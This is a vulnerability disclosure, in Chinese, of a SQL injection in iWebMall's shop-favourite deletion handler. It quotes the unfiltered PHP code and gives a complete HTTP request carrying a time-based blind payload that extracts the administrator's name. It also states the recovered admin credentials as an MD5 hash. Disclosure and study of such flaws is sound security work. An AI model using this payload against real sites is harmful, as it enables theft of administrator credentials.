Iwebmall 最新版SQL注入第四枚

2014-12-10T00:00:00
ID SSV:95961
Type seebug
Reporter Root
Modified 2014-12-10T00:00:00

Description

简要描述:

Iwebmall 最新版SQL注入第四枚

详细说明:

看到wooyun上有人提了几个iweb的漏洞( WooYun: iwebmall商城程序sql注入 ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com/do.php?act=user_shopfavorite_del ,POST的内容中有个参数favorite_shop,存在注入。 /action/user/shop_favorite_del.action.php

无关代码 //数据库操作 dbtarget('w',$dbServs); $dbo=new dbex(); //定义文件表 $t_user_favorite = $tablePreStr."user_favorite"; // 处理post变量 if(empty($_POST)){ $favorite_id = intval(get_args('id')); }else{ $favorite=get_args('favorite_shop'); if (!$favorite){ action_return(1,$m_langpackage->m_del_select,'modules.php?app=user_favorite'); } $favorite_id=implode(',',$favorite); } $sql = "delete from `$t_user_favorite` where user_id='$user_id' and favorite_id in ($favorite_id)"; //echo $sql; if($dbo->exeUpdate($sql)) { action_return(1,$m_langpackage->m_del_success); } else { action_return(0,$m_langpackage->m_del_fail,'-1'); } exit; 无关代码

当通过POST方法提交$favorite时,由于没有对$favorite进行过滤,因此这里可以注入。Iweb没有错误回显,这里用time-based blind进行注入测试。 Payload:

POST /do.php?act=user_shopfavorite_del HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Referer: http://192.168.0.107/modules.php?app=user_favorite Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: 192.168.0.107 Content-Length: 192 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: AJSTAT_ok_times=1; PHPSESSID=c8hhcsboh7fk3c43co6ik5m796; iweb_iweb_login=pigtest favorite_shop%5B%5D=1) or (select if(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),3,1)='z',sleep(3),0)) and (1)=(1&deletesubmit=%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4

测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。这里注意,favorite_shop的值随便写一个值,本例为1。 因为是time-based blind 注入,猜测管理员用户名的第三个字母时,若错误,延迟2s左右,如下图

<img src="https://images.seebug.org/upload/201412/0823510535351d505d41ba1008f9586e6fb84662.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">

若正确,延迟5s左右,如下图

<img src="https://images.seebug.org/upload/201412/08235119f49057e63452ba11f14dda8c0c1a794f.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">

按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3

漏洞证明:

见 详细说明